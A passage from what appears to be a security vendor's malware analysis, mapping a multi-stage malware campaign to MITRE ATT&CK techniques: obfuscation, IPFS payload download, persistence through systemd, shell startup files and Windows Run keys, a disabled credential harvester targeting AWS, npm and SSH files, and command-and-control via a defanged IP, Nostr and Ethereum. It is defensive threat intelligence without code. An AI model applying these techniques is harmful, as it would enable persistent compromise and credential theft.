The payload uses javascript-obfuscator with a custom base64 alphabet plus whitespace padding to defeat visual and static analysis.

T1105

Ingress Tool Transfer

Stage 1 downloads the 8.25 MB sync.js from two IPFS CIDs using HTTPS, writing it to a platform-specific directory before execution.

T1543.002

Create or Modify System Process: Systemd Service

The decrypted campaign config enables persist: true and references miasma-monitor.service for Linux user-level systemd persistence.

T1546.004

Event Triggered Execution: Unix Shell Configuration Modification

On macOS the framework appends a nohup launch block to ~/.zshrc, ~/.bashrc, or ~/.bash_profile.

T1547.001

Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder

On Windows the framework writes an HKCU Run value named miasma-monitor.

T1552.001

Unsecured Credentials: Credentials In Files

The Stage 3 framework contains a harvester for ~/.aws/credentials, ~/.npmrc, ~/.ssh/ keys, and browser credential stores, but it is disabled in this build (recon toggle set to false).

T1071.001

Application Layer Protocol: Web Protocols

Primary C2 uses HTTP to 85.137.53[.]71:8080 and 8081; fallback channels include Nostr WebSocket relays and an Ethereum smart contract beacon.


SHARE

Subscribe Now

Subscribe Now

Subscribe Now

Ossprey helps you understand what code is trying to do,  before you trust it.

Ossprey helps you understand what code is trying to do,  before you trust it.

Related articles.

Related articles.

Related articles.